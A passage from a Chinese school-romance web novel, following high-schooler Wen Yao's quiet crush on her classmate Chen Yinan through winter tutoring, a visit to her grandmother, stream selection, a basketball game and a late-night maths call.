补习班上课时间早,两人的早餐经常牛奶加面包应付着。她见过他吃面包的样子,他喜欢将面包撕成一个个小块,再用一口奶顺一口面包。
有时,早上来后,他常常一脸倦意,和她打了声招呼,便开始趴下补觉。她有些疑惑,但也没多问什么。
今天上午是数学课,补习班开办数学课的目的无非是领着大家提前学习下学期的课程,免得下学期跟不上老师节奏。
当温窈还在做平面向量的习题时,陈翊南已经自学到了立体几何。她将视线缓缓从他的书本上收回,心中有些感慨,不由自主地轻叹了一口气。
但没控制好音量,不小心发出一点声音。尽管很小,却还是被男生捕捉到了。
“怎么了?”
“这个题,不太会。”慌乱中,温窈随便指了一道数学题。
“我看看。”陈翊南凑近几分,扫了眼题目。很快,他讲道:“这道题用了三角函数里的诱导公式……”
声音低沉悦耳,自带着一股慵懒劲。她小幅度摇了摇头,强迫自己认真听。
“会了吗?”陈翊南放下笔问。
“会…会了。”
这道题并不难,套个公式就可以。
陈翊南讲完并没有接着回头,而是观察了会儿后问道:“你的脸怎么这么红?”
温窈心内一惊,假装镇定地说着:“屋里有点热。”说完,她为了不露破绽,还特地拉开了棉服的拉链。
“你不热吗?”她接着问。
陈翊南笑笑,“还行。”
等男生转过头,温窈才悄悄用手捂住自己的脸。
有那么一瞬间,她感觉自己要窒息在一片蓝色海洋。
连最微末的交集,都是要命的,温柔的,疯狂。
_
一月三十号这天,北淮下了一场小雪,地面上落下一层薄薄的浅白。路上行人慢慢走着,有人踩到一截枯木,发出轻而闷的折断声响。
温窈呼出的气在空气中凝结成白雾,喷洒在公交车玻璃窗上,模糊了攀在窗沿外壁上的窗花。
“下一站,相山路,景怡园到了。”
公交车广播忽地响起。
车子缓缓停下,随着车门打开,一道黑色身影跃了上来。
双肩包被陈翊南松松垮垮的斜挎着,他戴着白色耳机,先是环视了一下车厢,然后便朝一个方向走去。
温窈正在窗玻璃上写字打发时间,完全没注意到陈翊南上车。毕竟这条路,她自己平时坐惯了,并没有遇见过什么熟人。
她重新哈了一口气,刚写下一个“y”字母,身旁座位便有人坐下了。
听到衣物窸窸窣窣的摩擦声,温窈下意识偏头看去。她的呼吸一滞,一边匆忙擦掉玻璃上的字,一面抬手打了个招呼。
“嗨,早上好。”
陈翊南淡笑:“早上好。”
“今天怎么坐公交?”她问出心中疑惑。
尽管两人已经做了十几天的同桌,但她对他,还是知之甚少。
“路滑,骑车不太安全。”
温窈点点头,周遭空气再次变得安静。
她分神看了眼公交车的指示牌。相山路,景怡园,陈翊南原来住在这里,和她相隔两条街。
关于景怡园,她有在赵叔叔那里听说过。这附近环境好,地理位置优越,里面是一栋栋小别墅的型式,陆文慧很喜欢。但考虑到房价,也只能就此作罢。
这样看来,陈翊南的家庭条件应该是相当不错了。至少,他的父母应该很爱他。
想到这,温窈的神色黯淡了些。她的手指卷
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动着发尾,重新将目光投向窗外。
车厢内。
有人在听歌,有人在看雪。有人在聊天,有人在睡觉。
细密的雪洋洋洒洒地飘落下来。温窈看到陈翊南在戴着耳机听歌,知晓他不会听到,便放心地趴在窗棱上轻轻哼唱了起来。
“轻轻的我将离开你,请将眼角的泪拭去……不是在此时,不知在何时,我想大约会是在冬季……”
可惜,她不知道的是,身旁刚才还在闭眼假寐的人,在此时撩起眼皮朝她看来。
陈翊南眸色微动。
有些缱绻绵软的嗓音传进他未戴耳机的耳朵里,另一只戴在耳朵上的耳机中,播放的正是这首《大约在冬季》。
雪势渐渐变小。公交车到站了,雪也彻底停了。
两人一同进的教室。补习班的最后一天,并没有安排什么课程,只是进行了两场随堂小考试。
等都做完后,同桌两人再将卷子互换,判一下对方试卷。
陈翊南的水平一如既往稳定发挥,数学满分,英语错了一道阅读理解,温窈判起卷子来都没有什么压力。
她只是有些紧张,怕陈翊南看自己的卷子时,自己错太多丢人。
喜欢果真会容易使人自卑。
不出五分钟,陈翊南便将卷子递给了她。
温窈看了下成绩,悬着的心终于放下了。经过十五天的补习,进步最多的是英语。
她的英语已经可以从在合格线上徘徊,到现在保持在一百分以上。
她离她的月亮又近了些。
陈翊南正在回江枫消息,骨节分明的手指敲打在屏幕上。没一会儿,便有声音从身侧传来。
“那个……”
陈翊南的指尖倏尔一顿,他放下手机。
“可以给我讲讲数学的最后一道题吗?我刚才看了下答案,有些地方没看懂。”温窈问道。
“行。”陈翊南拿起笔,开始在纸上写写画画。
数学最后一道大题的后几问,往往是这套卷子中最难的。但他讲的却是条理清晰,还着重把温窈不明白的地方多解释了几遍。
“明白了吗?”讲完最后一个点,他停下笔问。
温窈笑道:“明白了。”
往常这种题,她只能弄个七八分明白。这次,她还真的听懂了。
陈翊南点了下头,接着问道:“还有其他题不会吗?”
温窈拿起试卷翻看了下,确定都弄懂后,才摇了摇头。
这时,下课铃骤然响起。铃响时间似乎比平时都长,宣告着大家十五天补习课程的结束。
老师拿起水杯走出教室后,陈翊南也斜挎起包准备走了。
温窈思量许久,最终还是决定问一下。这件事,她在很久前就想过了,不过一直没有勇气说出口。
“等一下。”她叫住他。
没等她起身,他已经先一步微微弯下了腰,两人之间的距离瞬间缩短了几分。
他定定望着她。
温窈心弦一颤,搭在膝盖上的手指缓缓收紧。
她退缩了。
本来想问出的话,再次逃回肚子。
“陈翊南,提前祝你,新年快乐。”
温窈喉咙发紧,心底有淡淡的苦涩蔓延。
她可真是一个胆小鬼。
只见眼前人似乎愣了下,随后唇角弯了弯,他说道:
“温窈,提前祝你,新年快乐。”
9. chapter09
“你大概不知道,我有一个星星许愿瓶。高中时,最期盼的事情就是在每次遇见你之后,可以折一颗星星放进瓶子里。是祝福,也是交点。”
——《我与y》
鸣溪乡下,月光细细碎碎地洒在窗外枝头,几粒星子稀稀拉拉地挂在夜空之上,有些萧索。
屋中却很暖,红泥小火炉烧的正旺。炉上的茶水咕嘟冒泡,茶壶下面围了一圈小食,橘子皮烤的微焦,旁边红薯在滋滋冒油,满屋子香甜气息。
温窈剥了半瓣橘子,趴在沙发靠背上,一边吃,一面看着窗外天空发呆。
距离那天过去已经好久了,但她仍旧记得清晰。那是他第一次郑重地叫自己的名字。以至于她当时的心情就像是吃了一颗青苹果,明明那么酸涩,回味起来却有丝丝甜意。
她暗暗发誓,若有机会再见,绝不临阵脱逃。待回家后,她还在纸上写下了两句话:
温窈,不要做胆小鬼。
温窈,你要离他再近一些。
门外传来的一声喊叫截断她的思绪,叩门三声响,一轻二重三跟随,以示礼貌。
但这人敲得却是丝毫不间断,行云流水,一气呵成,礼貌中带着些急促。
温窈轻笑了下,她知道是谁了。
外婆正在做饭,敲门声被炒菜声没过,没有听到。
温窈跑过去开门,门刚开,来人就给了个她一个大大的熊抱。
她张开手臂环住来人,轻轻“哎呦”了一声。
“窈儿啊,我好想你哇!来,快让姐姐抱抱~”
周澄抱着她,一时不松手。
温窈打趣道:“你也不怕抱错人,万一是我外婆开门呢。”
“那正好啊,好久没见了,我直接抱住外婆诉说我浓浓的思念之情。”此刻,周澄松开抱着温窈的手,扬起小脸说道。
温窈直接敲了敲旁边厨房的门,接着推开大声说道:“外婆,周澄说——她要想死你了。”
周澄先是一愣,继而手握成拳,假意锤向温窈胳膊旁的空气。
“小橙子?小橙子来了?”外婆听到声音,拿着锅铲探出头。
周澄立时站直,甜甜笑道:“外婆好!我来串门啦!顺便蹭顿饭吃嘿嘿。”
外婆忙说好,嘴里叨念着再添一盘周澄喜欢吃的菜。
温窈接过周澄手里的东西,“来都来了,怎么还带东西?”
“你不要多想,这不是给你的,是给外婆的。”
“……”
这是温窈来乡下外婆家的第三天。还记得外婆刚见她时,见她又瘦了几圈,无比心疼,一直在追问她是不是在赵家吃不好。
她鼻子一酸,缓了缓才笑着和外婆解释,自己平时有在好好吃饭,是自己高中学习压力大的原因。
她记得外婆无奈地叹了一口气,没多说什么,只是接下来的每天都变换着花样给她做好吃的菜。
这不,今晚再加上周澄的到来,普普通通的一顿晚餐,都快赶上年夜饭的规模了。还是两人接连劝了半天,外婆才停住了手。
“呦呦啊,来吃一个你最喜欢的糖醋荷包蛋。”说罢,外婆夹了一个荷包蛋到温窈碗里。随后,又夹起一个青椒酿肉放在了周澄的米饭上。
“呦呦?阿婆,这是温窈的小名吗?”周澄啃着青椒外皮疑惑道。
外婆笑道:“对啊,还是‘鹿鸣呦呦’的呦呦。”
温窈咽下米饭,假意嗔怪:“外婆,你不是答应我了。”
“哎呦,小橙子又不是外人。”外婆轻轻揉了一把温窈的头发,转过头来和周澄解释:“这孩子脸皮薄,每次当着外人的面叫她小名,她都不好意思。”
周澄噗嗤一笑,朝温窈比了个口型:“呦呦,温呦呦~”
温窈在桌下踩了周澄一脚。
周澄故意痛呼:“阿婆,呦呦踩我!”
“……”
月亮从云中探出半个头,斜斜地照落在院中。窗外凉风习习,屋内欢声笑语,好不热闹。
当晚周澄在温窈外婆家中留宿,她已经提前和家里说好了,不用给她留门。
两个女孩睡在一间屋。长时间未见,两人都有说不完的话。好事一箩筐,坏事也一箩筐。
怕惊扰到外婆休息,两人聊天时的声音放地很轻。
“什么时候回北淮?”
“后天。”
周澄一听,立时翻了个身,正对着温窈,“这么快!我才刚回来不久欸。”
“没办法,一中的学习压力还挺大的。而且,开学就要分文理科了。不过,意愿表我还没填呢。”温窈幽幽叹了口气。
“我看你的文科整体优势大于理科,你在犹豫什么?难不成,你想选理科?”周澄顿了顿,接着说:“理科也不是不行。主要做选择的还是在你自己。”
温窈点点头。
她在犹豫什么?
不过是,陈翊南肯定会去理科一班,而她的期末成绩也足够可以被分去理科一班。在理想与现实面前,她有些动摇。
身旁周澄的呼吸声已经变得轻缓,她帮周澄扯了扯被子,随即翻了个身。
窗外,明月高悬夜空。
眼下是暮冬,我竟有些想你。
_
温窈离开鸣溪的那天,天气很好。
风轻云淡,少了刺骨的寒,多了和煦的暖。看着红瓦白墙,她心中生出些不舍与眷恋。
在她的书包内侧,有外婆塞的钱,整整两千元。
临走的前一夜,外婆和她说了些话。
“呦呦呀,你是个好孩子。外婆知道你报喜不报忧,在外面受了委屈都只会憋在肚子里。你虽然不说,但我老婆子能看出来,你在赵家过的不快乐。”
当时她鼻尖一酸,仓促地低下头,生怕眼泪下一秒就会止不住的流出来。
“我们家呦呦不一定要出人头地,不必须要前程锦绣。外婆只希望你能快快乐乐,平平安安的长大。倘若以后在外面受了委屈,那就回来,你身后还有外婆在呢。”
温窈一把抱住外婆,声音闷闷地说了声“好”。
此刻,她稍稍平复下情绪,嘴角漾起淡淡笑容去往车站。
有春风吹动着地上枯叶辗转飘动。
她想,她知道分科意愿表该如何落笔了。
新的一年,万象更新。
迎着枯树发出的新芽,北淮一中开学了。
和温窈一同走进文科一班教室门的,还有虞眠。两人在门口相遇,眼神对上的一瞬,不约而同地相视一笑。
“好久不见。”
“好久不见。”
两人同时说道。
文科一班和理科一班靠着,学校为了更方便他们,将两个班安排到了一楼。老罗和方媛互换了下,温窈所在的文科一班现在由方媛接手。
班里还剩几个空位,温窈和虞眠挑了个靠窗位置,她环视了下教室,发现没什么熟人,基本都是生面孔。
“最终还是决定选文科了?”虞眠问。
温窈正在整理书桌的手一顿,“对。”
在理想与现实间,最终她选择了现实。她的确没有勇气用自己的前途,去拼一个模糊不清的未来。
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这并非是妥协,而是深思熟虑后的最佳选择。
她要对自己负责,对自己的前途负责。
方媛在上课铃响起的前两分钟走进教室,一开口,就是上学期熟悉的配方。
“自我介绍一下,我是方媛,你们的班主任兼语文老师。班里有些人——”
方媛话音未落,便从后门偷偷摸摸溜进来一个人,弯腰在教室后面慢慢挪动。接着,方媛单手掰断一截粉笔,准确无误地朝来人掷去。
一声怒斥,在教室内响起。
“江枫!开学第一天就迟到是吧!”
“我错了,方姐!”江枫立刻起身站直。
方媛冷笑一声,说道:“先找个位置坐下,等我下课再找你。”
随后,她回想了下刚才被打断的地方,重新续起,“班里有些人曾经被我带过,但这些都无关紧要,从现在开始,我会一直带到你们高中毕业。”
再后面,就是些方媛个人的教学习惯和不能容忍的事情。温窈都清楚,便没有继续听下去。
另一个原因,其实是江枫在后面悄悄戳了戳她。班里仅剩的位置在她后面,也难怪他坐这里。
“欸?这么巧,你也在这个班。”江枫语气中带着一丝惊讶。
温窈背对着他,轻轻点了下头。
身后人接着说:“相逢就是缘,上次忘了问,你叫什么名字?”
若是她不回答,身后人颇有继续追问的架势。
趁方媛没注意这边动静,她迅速转头回道:“温窈。”
“温窈?是哪个窈?”
恰在此时,台上方媛叫了声她的名字,她站起身。
“温窈是咱们班的语文最高分,由她来担任语文课代表,大家有异议吗?”方媛扫视一眼教室,“行,就暂时这样。温窈和我过来拿预习学案,给大家发下去。”
江枫见温窈走了,便又伸出手戳了戳右前方的人。
“同学,你——”
不等他说完,虞眠就面无表情地转头回道:
“虞眠,参商之虞的虞,睡眠的眠。”
_
温窈抱着预习学案走出门,阖上门的瞬间,往后退了一步。因鞋底与地面的摩擦大,她后脚跟一个没站稳,往后晃了晃。
接着,有人伸手轻轻扶住了她的肩膀。
“慢点。”
微哑的嗓音在她耳后方响起。
温窈回头望去,正是她隔了半个寒假没见的人。
陈翊南戴着白色口罩,校服外套里面穿着件灰色卫衣。
他微垂着眼,眼底仿佛点缀着冬夜里洗淡的星光,深邃又淡漠。
温窈见他神色倦怠,手里还拿着保温杯,便问了嘴:“感冒了?”
“是有点儿。”
“我书包里有感冒药,你需要吗?”
陈翊南淡笑了下,倦怠消去三分。
“没事,不用了。”他顿了顿,问道:“你在文科一班?”
温窈点头。
“我在你隔壁。”
温窈心说,我知道。
怀里的学案需要发,她指了指,说道:“我去发学案了。”
“好,回见。”
“回见。”
理科一班比文科一班靠东些,再往那边就是三班四班,以此类推。这下,她只能在去厕所的时候,才能路过陈翊南的班级。
回去路上,她的心潮隐隐澎湃起来,尽管她也不清楚自己在期待什么。
或许,是下一次见面。
但她没想到的是,下次见面竟然来的这么快。
10. chapter10
“那天做了一个梦,梦中回到了一中教室,有光滑冰冷的木制书桌,有嗡嗡作响的吊扇,有微风吹起的窗帘。还有,十七岁笑起来要人命的你。”
——《我与y》
开学考试过后,方媛重新排了一下座位。整体下来,没有太大变动。
不过,温窈和虞眠被分开了。一个梳着低马尾的女生成为了温窈同桌,虞眠则被调到了温窈后面,恰好和江枫做了同桌。
低马尾女生叫林见月。据她说,这名字是她妈妈翻了半天唐诗得来的。“水光先见月,露气早知秋。”正好,她出生的季节是秋天。
见林见月的第一面,温窈就觉得熟悉,但始终想不起来在哪里见过。
这天,太阳光从南窗布帘缝隙中钻进来,被镂空纱窗筛成淡黄光点,落在温窈前额,刺的她微微眯眼。下课铃响起的那刻,被遗忘的某些记忆突然一闪而过。
温窈转头,身旁人正在为数学题抓耳挠腮,她忽地开口:“军训求雨符?”
林见月疑惑抬头,“什么符?”
“当时开学军训,你在操场哪里?我好像见过你。”
“这么巧?”林见月惊讶,她直起身认真回想了下,说:“我们班在操场南面那几棵大树的前面。欸可惨了,连个树荫都不配拥有。”
温窈笑笑:“那就对了。我没记错的话,你曾经在军训的时候拿出过一张求雨符,对着天三拜两拜。”
经温窈提醒,林见月顿悟,“天,这都被你看到了!”
“不止她,还有我。”从两人身后传来一道声音。
“什么!虞眠你也看到了?”林见月瞪大眼睛。
虞眠点头,慢慢说道:“你那小动作正大光明的,不想看见都难。”
林见月摸了下鼻子,随即摆摆手,“害,我偷摸求雨,还正好被你俩看到。这说明什么,这说明缘分天注定!”
江枫探过头,“什么天注定?”
“没什么。”
“你闭嘴。”
虞眠和林见月两人同时说道。
江枫左看右看,又默默把头缩了回去。
目睹一切的温窈,忍着笑意转头,从后面看去只有双肩在轻微耸动。
陈翊南打着电话从后门经过,看到的就是这一幕。日影融融,女孩眼角藏着笑。
手机里传出声音,“南南,这周末来不来外公家吃饭?”
陈翊南收回目光,回应道:“外公,我看一下时间,去的话和你提前说。”
今天是周四,两个班最后一节是体育课。下课铃一响,江枫就抱着篮球窜了出去。
虞眠刚伸出手,就抓了个空,这小子。昨天说好了,给他讲题的。
林见月放下笔,转身对着温窈和虞眠说道:“走吧,咱们也歇一会儿。”
冷风吹得人口干舌燥,三人准备先去超市买点喝的。
温窈挑了瓶果粒橙,见虞眠两人还没选好,她先自己逛了起来。
装满饮料的两排架子左边是文具区,还有各种漂亮的小玩意,被排列好放在架子上。
拐角处放着许愿星星瓶,旁边塑料袋里是一沓五颜六色的星星纸。温窈忽然想起曾经在网上看到的一句话:
第一千颗星星代表幸运。
折满第一千颗星星,想见的人就会出现在你面前。
当时温窈不信,认为都是骗小孩子的。此刻,竟也有些心猿意马,万一呢?
“温窈,你选好了吗?”林见月在柜台那里喊。
温窈放下许愿瓶,朝柜台走去,“好了,这就来。”
三人一边聊天,一面朝操场走去。走进操场的时候,正好上课铃响起。
体育老师吹了声口哨,对着两个班的人说道:“先跑个四百米,然后自由活动。”
林见月在前面跑,温窈和虞眠在后面追。见后面两人追不上,她特意放慢脚步,等着两人慢慢跑近。
“跟着我的步伐来,会轻松一些。”
还有半圈,温窈呼吸开始变得急促,鼻尖脸颊被冷风吹得染上淡淡红晕。她抬眸望去,红色塑胶跑道尽头站着那道熟悉的高挑背影。
他已经率先到达了终点。
温窈轻呼一口气,一咬牙,跟着林见月快速跑到了尽头。
三人稍缓了缓,坐在了草坪上,林见月竖起个大拇指,说:“可以啊,温窈。你最后还能有力气冲刺。”
温窈双手正靠后撑在地上,眼也没睁开,回道:“多亏你节奏带的好。”
不远处,有一行人朝篮球场走去。
虞眠碰了碰温窈胳膊,“你看,那是不是沈佳雪?”
温窈睁开眼,顺着虞眠指的方向望去。
沈佳雪期末考的不是很好,没有进入理科一班,听说她被分去了理科三班。此刻,她正和三两好友朝篮球场方向走去。
林见月在一旁疑惑:“沈佳雪是谁?欸怎么都往篮球场去?”
“原来班的同学。不过,我和她不算熟。”虞眠顿了顿,接着说道:“还能因为什么,你也不想想篮球场有谁。”
“管他呢,咱也去看看。”
林见月起身,正想将两人拉起来,就见温窈已经站好了。
温窈轻声说:“走吧。”
北淮的篮球场规模不算小,有八个篮球架相对着排列在场地内,最后一个篮球架的位置正围了一圈人。
林见月带着两人挤了进去,场上正打的火热。
“原来是陈翊南啊。”林见月恍然,“那我就不奇怪了。”
温窈没说话,只是静静看着场内。陈翊南将黑色羽绒服脱了下来,只穿了件白色卫衣。她的目光跟随着这抹白色身影忽上忽下,如振翅的蝴蝶一般自由。
江枫和陈翊南配合的很好,到了后面接连进球。场上不仅有篮球撞地的声响,还有沈佳雪为陈翊南大声加油的呐喊声。
温窈突然有些羡慕沈佳雪,羡慕她可以那样喜欢一个人。
那样,热烈,昂扬,肆无忌惮。
临近下课,场上切磋接近尾声。
沈佳雪捏着手中的常温矿泉水,有些紧张地问道:“晓梦,你说陈翊南会不会收下我的水?”
被叫做晓梦的女孩回道:“放心,肯定会的。”
短促的哨声破空响起。
球场上对面的人驻足,“今天就先打到这吧,下次再约。”
江枫接过球,说了句好。
晓梦推了推沈佳雪,示意她赶紧过去。
沈佳雪点点头,问:“我头发可不可以,没有被风吹乱吧?”
“没有没有,你快去!”
温窈睫毛微微一颤,手指藏在口袋里缓缓捏紧。连指尖掐进指腹,她都没感觉到痛意。
陈翊南正坐在长椅
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上休息,黑色外套被他搭在一旁。正想戴上口罩时,身前地上忽地投下一片阴影。
“陈翊南,给你水。”沈佳雪笑着说道。
陈翊南先愣了一下,随即站起身,淡淡开口道:“不用了,谢谢好意。”
“欸?”沈佳雪眉头皱了下,解释着:“这水是温的。一瓶水而已,你就收下吧。”
温窈在远处看见,沈佳雪拿水的手又往陈翊南身前递了下,她的呼吸不自觉放轻。
他会收吗?
眼见对面气氛僵持不下,江枫跑过去笑道:“哎呀沈同学,正好我也口渴了。这水我能喝吧?”他作势去拿。
沈佳雪迅速抽回手,没好气道:“自己买!”说罢,头也没回地走了。
温窈松了一口气。
江枫看着那走远的背影,胳膊搭在了陈翊南脖子上,“瞧瞧,还是得靠兄弟我吧。”
陈翊南笑了下,伸手捞起衣服穿好。
“是是是,今天中午的饭我请了。”
“这可是你说的。”江枫一偏头,看见铁丝网附近的三人,他招呼道:“同桌,温窈,林见月,中午一起吃饭吗?陈翊南请客。”
陈翊南:“?”
不等温窈同意,林见月就已经拉着她胳膊走过去了。
“行啊,没问题!”她说道。
江枫建议去尝试一下校外新开的菜馆,几人便一齐去了。
林见月拉着虞眠走在江枫旁边,温窈稍稍落后,来到了陈翊南身旁。
两人并肩走在后面。
温窈翻翻口袋,拿出几张干燥的纸巾递向身旁,“擦擦汗吧。今天这风不算小,你别感冒加重。”
陈翊南伸出手接过纸巾,道了声谢谢。纸巾整齐叠着,有淡淡的茉莉清香,他拿起擦了擦鬓边的汗。
餐馆就在学校旁边的街上,走几步路就到了。店里正好还有一桌空着,几人落座。
温窈和林见月坐在一起。她刚坐下,陈翊南就坐在了她旁边。
桌子小,几人距离有些近,温窈感觉自己似乎都闻到了陈翊南身上的茉莉清香。
是用了她纸巾,而沾上的味道。
她心跳的有些快。
陈翊南没注意到她的异像,他推来一份菜单,对着几人说道:“你们先选。”顿了两秒后,他接着开口:“我请客,你们随便选就好。”
江枫也应喝道:“对,随便选。好不容易宰他一顿。”他将自己手里的那份菜单推给身旁的虞眠,“来,同桌,你看有你想吃的吗?”
架不住江枫热情,温窈三人只好随便点了几个菜。
陈翊南将写好的菜单,递给服务员。末了,还加了一份汤。
上菜速度很快,辣子鸡被服务员放在了陈翊南面前。
温窈移动辣子鸡的盘子,和自己面前的番茄炒蛋交换了下。
顶着众人疑惑的目光,她清了清嗓子解释道:“我比较喜欢吃这个,辣子鸡。”
林见月问:“你不是吃不了很辣的菜?”
“嗯……最近想锻炼一下自己。”
上午最后一节体育课结束的早,就能早些吃午饭。几人吃完午饭,发现时间还早,索性坐在椅子上有一搭没一搭的聊着歇息。
“对了,”江枫突然说道:“咱们还没有加联系方式呢?”
温窈心中一跳,下意识看向了身旁。
11. chapter11
“喜欢你的那几年,连别人看向你的目光,我都很羡慕。我知我与旁人或许不会有什么特别,但我仍就渴望能有一丝月光照在我的身上。”
——《我与y》
她有一个Q|Q小号,里面没有任何朋友。空间动态的几十条说说里,记录着生活的牢骚,喜欢的文字和同他的点滴。
所以,当江枫提起加联系方式时,她心下一惊,有种秘密差点败露的错觉。
所幸她还有一个大号,可以专门用来添加好友。
林见月说道:“不用那么麻烦,你直接建个群就好了。”
江枫:“也行。”
说完,他就建了个群把陈翊南和虞眠拉了进去,虞眠进去后接着把温窈两人拉了进去。
几人赶在午休时间快结束之前回到了教室。回去路上江枫一如既往地正常发挥。
温窈走的落后几步,在后面听着他东扯西扯,从天上扯到地下,然后又扯到了送水的沈佳雪身上。
她不动神色地走近了几分。
“然后呢?”林见月问。
“接着,她就气呼呼地离开了。”江枫摊手,“只能说我家陈娇……咳咳,陈翊南同学,魅力不减当年。我自打初中和他认识后,就没见他桌洞里的情书少过。”
温窈眉心微动,江枫话音转变的快,但还是被她铺捉到了。陈jiao…是什么?
“就刚才体育课送水的那个沈……”江枫停顿了下,他有些记不清那人的姓名。
虞眠在旁边无言半晌,提醒道:“沈佳雪。”
“对对,沈佳雪三天两头往他桌洞里塞情书,没见他看过,倒是都被我送了回去。”
温窈有一瞬间走神。
她很难想象,像他这样的男生,会喜欢什么样的女生。
见江枫还准备说,陈翊南似乎终于忍不了了,快走几步一把勾住江枫的脖子,把人从林见月两人中间带走了。
“哎哎,我还没讲完呢!”
陈翊南感冒还没好利索,他眉头一挑,微哑着开口:“看来是我最近脾气太好了。还有,别以为我没听到你刚才撤回的是什么。”
明明现在有大太阳,但江枫仍感觉自己脖子后面嗖嗖冒冷气。
预备铃猝不及防地响起,声音在整个校园内回荡。
林见月安慰道:“没事。一会上历史,历史老师来得不会早。”
“是这样,但,不出意外的意外就是,你别忘了——”
温窈替虞眠补充好后半句,“今天的历史和语文调课了。”
“what!完蛋了,快跑!”话音未落,林见月已经拉着两人又开始了新一轮的狂奔。
最终,三人还是赶在方媛前面进了教室。
_
暮色降临,窗外有盏盏街灯亮起,顺着街道向远方蜿蜒而去。
被放在书桌上的手机屏幕不间断地闪烁了几下,引起桌前人的注意。
温窈停笔,拿起一旁的手机。屏幕被点亮,显示着群消息有十几条。
她将信息从上到下快速扒拉了一下,发现林见月正在和江枫争讨群名,两人各执己见,谁都不让谁。
倒是陈翊南一句话都没发言。
温窈点开群聊成员的一栏,最后一个位置上是陈翊南。他的头像是蓝黑色调,看背影应该是他。
他背对着镜头站着,身前是一块巨大玻璃,有一只白鲸正向他游来,他微微侧身看向它。
照片拍摄的很好看,但温窈却觉得有些淡淡的孤独和悲伤。
往下,她的指尖停在了加好友的按键处,她在犹豫。
台灯旁放着一个星星瓶,已经折好的星星铺满了薄薄一层,暖黄色的光晕染在瓶壁。温窈趴在桌子上,隔着瓶子戳了戳星星。随即,下定决心般的发送了好友申请。
陈翊南那边没有迅速通过,她匆匆扫了一眼界面,便把手机丢到了身后床上。接着,拿起笔继续投入进了试卷里,试图缓解这一行为带来紧张与不安。
无人知晓的夜里,她坐在台灯前悄悄红了脸颊。
明明才初春,天气怎么就这么热了。
夜里十点钟。
温窈洗漱完后,才上床打开手机。她捂住眼,中指和无名指慢慢分开,透过缝隙看向手机屏幕。
手机屏幕并没有收到什么信息,温窈向后一躺靠在床头,微微下垂的嘴角还是暴露了她心里的失落。
没一会儿,被她扔在旁边的手机突然发出“滴滴”一声响,她拿起一看。
【Cyn已通过你的好友申请】
【你们已成功添加好友,现在可以开始聊天了!】
温窈心中雀跃,手指却在聊天界面迟迟不能落下。
该说什么?
打一声招呼?
打完招呼还能说什么?
温窈苦恼地皱起眉头。
恰在此时,对面发来信息。
Cyn:抱歉,刚才出门没带手机。
Cyn:怎么了?
温窈轻咬着嘴唇,手机放下又拿起。就这样足足重复了两次后,她爬起身,在书架上抽出了一套数学试题。
这套题是她之前做过的,她找了一个难度有些高的题目,拍了下来。
温y:刚才做了套卷子,有一道题不太懂。
她接着把刚才拍下来的题目发了过去。
Cyn:稍等,我看一下。
温窈躺在床上,眼睛直愣愣盯着手机屏幕。很快,陈翊南就发来信息。
Cyn:方便接电话吗?这个题有些麻烦,电话讲应该会方便些。
温窈急忙回道。
温y:可以的。
大概几十秒后,陈翊南的电话就打了过来。她清清嗓子点了接通。
对面传来按动笔帽被按下的清脆声响,低醇的声音透过声筒穿出。
“那我开始讲了。”
“好。”
陈翊南语速不急不缓,遇到不容易理解的地方还会特地停下来问一下她。即便这个点已经给她讲了两遍,他也没有表现出一丝不耐烦。
温窈听着他的声音,有微微走神。
“明白了吗?”
温窈一惊,连忙回:“明白了。”
她轻轻抚额。尽管只是电话,但她仍旧有一种被抓包的错觉。
对面接着问道:“你是在补习数学吗?”
温窈想了想,回了个是。
“这个题的难度不太适合考试,它和竞赛题有些像。如果你有需要,我可以给你推荐几本教材。”
温窈提起笔,“好,你说吧。我记一下。”
两人挂断电话后,已接近深夜。书桌上方挂着
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的时钟,时针指在11点钟的位置。
临睡前,温窈给陈翊南发了条信息。
温y:今天麻烦你了,给我讲那么长时间的题。
Cyn:没事,以后遇到不会的可以再来问我。
温y:好的,晚安。
那边没有立刻回复,月上梢头,温窈嘴边勾着清浅笑意,抱着手机睡了过去。
陈翊南晾完衣服回到卧室,重新拿起手机看了眼,最后一条消息停留在温窈发的晚安那里。
他想了想,修长的手指在屏幕上轻点几下,便按了发送。
“好梦。”
_
翌日清晨,是星期五。
温窈走进校门口的时候,恰巧碰到了虞眠。
虞眠看着温窈脸色苍白,眼下有浅浅的乌青,不禁关怀道:“怎么了这是,昨晚没睡好?”
温窈刚打完一个哈欠,此刻眼睛还泛着红意,她随便编了个借口,“嗯,临睡前水喝多了,半夜多跑了几次厕所。”
她用余光观察了一下虞眠脸色,见虞眠没有并没有起疑心,才松了一口气。
她昨天夜里突然惊醒,起因是做了一个梦。但梦的内容实在是难以言说,以至于她在床上辗转反侧了两个小时才得以睡着。
而梦里的主人公,此时就站在她身旁。
她和虞眠在走到花坛附近时被叫住,江枫大步跑来,在他身后,陈翊南正慢慢踱步走来。
虞眠看了眼时间,说道:“嗯不错,今天来的挺早。”
江枫喘了口气,稍缓了下,才回道:“当然,我说到做到。”
温窈在看到陈翊南的瞬间,就低下了头。清晨迎面而来的春风中,夹杂着淡淡薄荷香。薄荷香又近了几分,她耳根处缓缓泛起一层红晕。
也幸好,没有人注意到她的反常。
春寒料峭,中午时分也耐不住它的冷意。只是偶尔有阳光挤过树的缝隙,懒洋洋晒在温窈身上。
温窈眯了一小会儿就醒了,见林见月还趴在桌子上睡着。她小心翼翼地拿起自己和林见月的水杯,从座位后面的空隙绕了过去。
走廊里静悄悄的,她不自觉放轻步伐,以免打扰其他人休息。
饮水机所在的地方,在走廊尽头,旁边连着一条连廊,一直通到对面的楼层。接水的路上,必不可免的会经过那里。
此刻,温窈走近,正好听到前方拐角处连廊里传来的交谈声。
女生的声音她很熟悉。
温窈停住脚步。
是沈佳雪,她在这里做什么?
“陈翊南,这个给你。”沈佳雪将手里的信封递出。
陈翊南垂眸,开口拒绝:“抱歉,我不能收。”
氛围安静了两秒,随后,有纸页被撕开的声音响起。
“你不能收,那我总能念给你听吧。”沈佳雪抽出信封里的纸,随即重新开口:“陈翊南同学,你好。我是三班的沈佳雪,相信你也已经认识我了。我们见过很多次面,但我始终记得我们第一次见面……所以,这次我鼓起勇气想问一下你——”
沈佳雪顿了下,念出了最后一句话。
“陈翊南,你可以做我的男朋友吗?”
温窈呼吸蓦地一滞,她微微垂眸,心脏也跟随着沈佳雪的话向下坠去。
坠向无边无际的黑夜。
12. chapter12
“我的一生中只有一个盛大的夏天,那个夏天之后月亮就陨落了。我用以后的每个夏天去临摹那轮月亮,我嫉妒它的仅有,又爱慕它的温柔。”
——《克林索尔的最后夏天》
温窈的手紧紧握住水杯,因用的力气过大,指尖处都有些泛白。
